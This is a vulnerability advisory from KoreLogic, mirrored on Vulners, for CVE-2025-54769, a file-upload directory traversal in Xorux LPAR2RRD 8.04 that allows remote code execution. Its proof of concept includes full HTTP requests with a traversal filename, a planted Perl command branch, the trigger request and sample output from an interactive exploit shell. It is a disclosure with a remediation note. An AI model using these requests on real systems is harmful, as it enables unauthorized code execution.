Lucene search
K

๐Ÿ“„ Xorux LPAR2RRD 8.04 File Upload / Directory Traversal

๐Ÿ—“๏ธย 29 Jul 2025ย 00:00:00Reported byย Jim BecherTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 98ย Views

Authenticated upload via directory traversal in Xorux LPAR2RRD 8.04 and earlier enables remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-54769
30 Jul 202514:59
โ€“githubexploit
Circl
CVE-2025-54769
29 Jul 202501:10
โ€“circl
CNNVD
XORUX LPAR2RRD ๅฎ‰ๅ…จๆผๆดž
29 Jul 202500:00
โ€“cnnvd
CVE
CVE-2025-54769
28 Jul 202523:34
โ€“cve
Cvelist
CVE-2025-54769 KL-001-2025-016: Xorux LPAR2RRD File Upload Directory Traversal
28 Jul 202523:34
โ€“cvelist
Exploit DB
LPAR2RRD 8.04 - Remote Code Execution (RCE)
3 Aug 202500:00
โ€“exploitdb
EUVD
EUVD-2025-22956
3 Oct 202520:07
โ€“euvd
KoreLogic Security
Xorux LPAR2RRD File Upload Directory Traversal
28 Jul 202500:00
โ€“korelogic
NVD
CVE-2025-54769
29 Jul 202500:15
โ€“nvd
OSV
CVE-2025-54769
29 Jul 202500:15
โ€“osv
Rows per page
KL-001-2025-016: Xorux LPAR2RRD File Upload Directory Traversal
    
    Title: Xorux LPAR2RRD File Upload Directory Traversal
    Advisory ID: KL-001-2025-016
    Publication Date: 2025-07-28
    Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2025-016.txt
    
    
    1. Vulnerability Details
    
    ย ย ย ย  Affected Vendor: Xorux
    ย ย ย ย  Affected Product: LPAR2RRD
    ย ย ย ย  Affected Version: 8.04 and prior
    ย ย ย ย  Platform: Rocky Linux 8.10
    ย ย ย ย  CWE Classification: CWE-24: Path Traversal: '../filedir',
    ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  CWE-434: Unrestricted Upload of File with
    ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  Dangerous Type, CWE-648: Incorrect Use of
    ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  Privileged APIs
    ย ย ย ย  CVE ID: CVE-2025-54769
    
    
    2. Vulnerability Description
    
    ย ย ย ย  An authenticated, read-only user can upload a file and perform
    ย ย ย ย  a directory traversal to have the uploaded file placed in a
    ย ย ย ย  location of their choosing.ย  This can be used to overwrite
    ย ย ย ย  existing PERL modules within the application to achieve remote
    ย ย ย ย  code execution (RCE) by an attacker.
    
    
    3. Technical Description
    
    ย ย ย ย  The filename can be altered manually to direct on the local
    ย ย ย ย  filesystem on the Xormon Original appliance the upgrade file
    ย ย ย ย  should be placed. The Xormon appliance will recognize the
    ย ย ย ย  file as not being a valid upgrade package, but still writes
    ย ย ย ย  the file to the filesystem. This can be exploited to write
    ย ย ย ย  a valid PERL script into the /home/lpar2rrd/lpar2rrd/bin/
    ย ย ย ย  directory, where it can be called by existing scripts that
    ย ย ย ย  are accessible via https://<IP>/lpar2rrd-cgi/<script> URL.
    
    
    4. Mitigation and Remediation Recommendation
    
    ย ย ย ย  Xorux released version 8.05, which includes a remediation
    ย ย ย ย  for this vulnerability. See https://lpar2rrd.com/note800.php.
    
    
    5. Credit
    
    ย ย ย ย  This vulnerability was discovered by Jim Becher of KoreLogic,
    ย ย ย ย  Inc.
    
    
    6. Disclosure Timeline
    
    ย ย ย ย  2025-07-17 : KoreLogic requests point-of-contact to securely
    ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  report several vulnerabilities to Xorux.
    ย ย ย ย  2025-07-18 : Vendor provides [email protected] as the
    ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  point-of-contact, noting that they do not use PGP.
    ย ย ย ย  2025-07-21 : KoreLogic submits this vulnerability and four
    ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  additional discoveries to Xorux.
    ย ย ย ย  2025-07-23 : Vendor acknowledges receipt, stating that the issue
    ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  has been remediated and a new version of the
    ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  affected product will be available 2025-07-25.
    ย ย ย ย  2025-07-25 : Xorux publishes updated version of the affected
    ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  product.
    ย ย ย ย  2025-07-28 : KoreLogic public disclosure.
    
    
    7. Proof of Concept
    
    ย ย ย ย  A simple proof of concept is to alter the users.pl script and
    ย ย ย ย  add some additional logic which will perform the id command. The
    ย ย ย ย  POST is performed using a read-only user, authenticated via
    ย ย ย ย  Basic Auth.
    
    
    ย ย ย ย ย ย ย ย  POST /lpar2rrd-cgi/upgrade.sh HTTP/1.1
    ย ย ย ย ย ย ย ย  Host: 172.31.255.207
    ย ย ย ย ย ย ย ย  Cookie: browserTZ=America%2FChicago
    ย ย ย ย ย ย ย ย  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    ย ย ย ย ย ย ย ย  Accept: */*
    ย ย ย ย ย ย ย ย  Accept-Language: en-US,en;q=0.5
    ย ย ย ย ย ย ย ย  Accept-Encoding: gzip, deflate, br
    ย ย ย ย ย ย ย ย  X-Requested-With: XMLHttpRequest
    ย ย ย ย ย ย ย ย  Content-Type: multipart/form-data; boundary=----geckoformboundaryc85a7a0a8e67e32643575b13f47b175f
    ย ย ย ย ย ย ย ย  Content-Length: 15057
    ย ย ย ย ย ย ย ย  Origin: https://172.31.255.207
    ย ย ย ย ย ย ย ย  Authorization: Basic amJlY2hlcjpqYmVjaGVy
    ย ย ย ย ย ย ย ย  Referer: https://172.31.255.207/lpar2rrd/index.html?amenu=upgrade&tab=0
    ย ย ย ย ย ย ย ย  Sec-Fetch-Dest: empty
    ย ย ย ย ย ย ย ย  Sec-Fetch-Mode: cors
    ย ย ย ย ย ย ย ย  Sec-Fetch-Site: same-origin
    ย ย ย ย ย ย ย ย  Priority: u=0
    ย ย ย ย ย ย ย ย  Te: trailers
    ย ย ย ย ย ย ย ย  Connection: keep-alive
    
    ย ย ย ย ย ย ย ย  ------geckoformboundaryc85a7a0a8e67e32643575b13f47b175f
    ย ย ย ย ย ย ย ย  Content-Disposition: form-data; name="upgfile"; filename="../home/lpar2rrd/lpar2rrd/bin/users.pl"
    ย ย ย ย ย ย ย ย  Content-Type: application/x-perl
    
    ย ย ย ย ย ย ย ย  use strict;
    ย ย ย ย ย ย ย ย  use warnings;
    ย ย ย ย ย ย ย ย  use CGI::Carp qw(fatalsToBrowser);
    ย ย ย ย ย ย ย ย  use Data::Dumper;
    ย ย ย ย ย ย ย ย  ...
    ย ย ย ย ย ย ย ย  [SNIPPED for brevity]
    ย ย ย ย ย ย ย ย  # Kore
    ย ย ย ย ย ย ย ย  elsif ( $PAR{cmd} eq "kore" ) {
    ย ย ย ย ย ย ย ย ย ย  my $out;
    ย ย ย ย ย ย ย ย ย ย  print "Content-type: text/html\n\n";
    ย ย ย ย ย ย ย ย ย ย  $out = system("/usr/bin/id");
    ย ย ย ย ย ย ย ย ย ย  print $out;
    
    ย ย ย ย ย ย ย ย  }
    ย ย ย ย ย ย ย ย  ...
    ย ย ย ย ย ย ย ย  [SNIPPED for brevity]
    
    ย ย ย ย  The response from the Xormon Original appliance is:
    
    ย ย ย ย ย ย ย ย  HTTP/1.1 200 OK
    ย ย ย ย ย ย ย ย  Date: Thu, 03 Apr 2025 00:37:18 GMT
    ย ย ย ย ย ย ย ย  Server: Apache
    ย ย ย ย ย ย ย ย  X-Frame-Options: SAMEORIGIN
    ย ย ย ย ย ย ย ย  Keep-Alive: timeout=5, max=100
    ย ย ย ย ย ย ย ย  Connection: Keep-Alive
    ย ย ย ย ย ย ย ย  Content-Type: application/json
    ย ย ย ย ย ย ย ย  Content-Length: 93
    
    ย ย ย ย ย ย ย ย  { "success": false, "message" : "This file doesn't look like the upgrade package", "log": ""}
    
    ย ย ย ย  But the file is still written to the filesystem. Subsequent
    ย ย ย ย  calls to the https://<ip>/lpar2rrd-cgi/users.sh script with the
    ย ย ย ย  cmd added return the output of the id command, as show below.
    
    ย ย ย ย ย ย ย ย  GET /lpar2rrd-cgi/users.sh?cmd=kore HTTP/1.1
    ย ย ย ย ย ย ย ย  Host: 172.31.255.207
    ย ย ย ย ย ย ย ย  Cookie: browserTZ=America%2FChicago
    ย ย ย ย ย ย ย ย  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    ย ย ย ย ย ย ย ย  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    ย ย ย ย ย ย ย ย  Accept-Language: en-US,en;q=0.5
    ย ย ย ย ย ย ย ย  Accept-Encoding: gzip, deflate, br
    ย ย ย ย ย ย ย ย  Authorization: Basic amJlY2hlcjpqYmVjaGVy
    ย ย ย ย ย ย ย ย  Upgrade-Insecure-Requests: 1
    ย ย ย ย ย ย ย ย  Sec-Fetch-Dest: document
    ย ย ย ย ย ย ย ย  Sec-Fetch-Mode: navigate
    ย ย ย ย ย ย ย ย  Sec-Fetch-Site: none
    ย ย ย ย ย ย ย ย  Sec-Fetch-User: ?1
    ย ย ย ย ย ย ย ย  Priority: u=0, i
    ย ย ย ย ย ย ย ย  Pragma: no-cache
    ย ย ย ย ย ย ย ย  Cache-Control: no-cache
    ย ย ย ย ย ย ย ย  Te: trailers
    ย ย ย ย ย ย ย ย  Connection: keep-alive
    
    
    ย ย ย ย ย ย ย ย  HTTP/1.1 200 OK
    ย ย ย ย ย ย ย ย  Date: Thu, 03 Apr 2025 00:37:42 GMT
    ย ย ย ย ย ย ย ย  Server: Apache
    ย ย ย ย ย ย ย ย  X-Frame-Options: SAMEORIGIN
    ย ย ย ย ย ย ย ย  Keep-Alive: timeout=5, max=100
    ย ย ย ย ย ย ย ย  Connection: Keep-Alive
    ย ย ย ย ย ย ย ย  Content-Type: text/html; charset=UTF-8
    ย ย ย ย ย ย ย ย  Content-Length: 61
    
    ย ย ย ย ย ย ย ย  uid=1005(lpar2rrd) gid=1005(lpar2rrd) groups=1005(lpar2rrd)
    ย ย ย ย ย ย ย ย  0
    
    ย ย ย ย  This can be expanded upon to create a full-fledged exploit.
    
    ย ย ย ย ย ย ย ย  attacker $ python3 xormon-orig-readonly-rce.py
    ย ย ย ย ย ย ย ย  >id
    ย ย ย ย ย ย ย ย  uid=1005(lpar2rrd) gid=1005(lpar2rrd) groups=1005(lpar2rrd)
    ย ย ย ย ย ย ย ย  0
    ย ย ย ย ย ย ย ย  >netstat -an | grep LIST | head -10
    ย ย ย ย ย ย ย ย  tcpย ย ย ย ย ย ย  0ย ย ย ย ย  0 0.0.0.0:111 0.0.0.0:*ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  tcpย ย ย ย ย ย ย  0ย ย ย ย ย  0 0.0.0.0:22 0.0.0.0:*ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  tcpย ย ย ย ย ย ย  0ย ย ย ย ย  0 127.0.0.1:25 0.0.0.0:*ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  tcpย ย ย ย ย ย ย  0ย ย ย ย ย  0 0.0.0.0:8162 0.0.0.0:*ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  tcp6ย ย ย ย ย ย  0ย ย ย ย ย  0 :::111 :::*ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  tcp6ย ย ย ย ย ย  0ย ย ย ย ย  0 :::80 :::*ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  tcp6ย ย ย ย ย ย  0ย ย ย ย ย  0 :::22 :::*ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  tcp6ย ย ย ย ย ย  0ย ย ย ย ย  0 ::1:25 :::*ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  tcp6ย ย ย ย ย ย  0ย ย ย ย ย  0 :::8443 :::*ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  tcp6ย ย ย ย ย ย  0ย ย ย ย ย  0 127.0.0.1:39931 :::*ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  LISTEN
    ย ย ย ย ย ย ย ย  0
    ย ย ย ย ย ย ย ย  >ps -efww | grep "java"
    ย ย ย ย ย ย ย ย  lpar2rrdย ย ย ย  934ย ย ย ย ย ย  1ย  0 Apr02 ?ย ย ย ย ย ย ย  01:24:22 /usr/bin/java -Xms512M -Xmx1024M -server -XX:+UseG1GC 
    -Dh2.bindAddress=127.0.0.1 -jar /opt/xorux/xormon/xormon.war
    ย ย ย ย ย ย ย ย  lpar2rrd 1730823 1730810ย  0 12:14 ?ย ย ย ย ย ย ย  00:00:00 sh -c ps -efww | grep "java"
    ย ย ย ย ย ย ย ย  lpar2rrd 1730825 1730823ย  0 12:14 ?ย ย ย ย ย ย ย  00:00:00 grep java
    ย ย ย ย ย ย ย ย  0
    ย ย ย ย ย ย ย ย  >quit
    ย ย ย ย ย ย ย ย  attacker $
    
    
    The contents of this advisory are copyright(c) 2025
    KoreLogic, Inc. and are licensed under a Creative Commons
    Attribution Share-Alike 4.0 (United States) License:
    http://creativecommons.org/licenses/by-sa/4.0/
    
    KoreLogic, Inc. is a founder-owned and operated company with a
    proven track record of providing security services to entities
    ranging from Fortune 500 to small and mid-sized companies. We
    are a highly skilled team of senior security consultants doing
    by-hand security assessments for the most important networks in
    the U.S. and around the world. We are also developers of various
    tools and resources aimed at helping the security community.
    https://www.korelogic.com/about-korelogic.html
    
    Our public vulnerability disclosure policy is available at:
    https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2025 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 3.18.8
EPSS0.09341
SSVC
98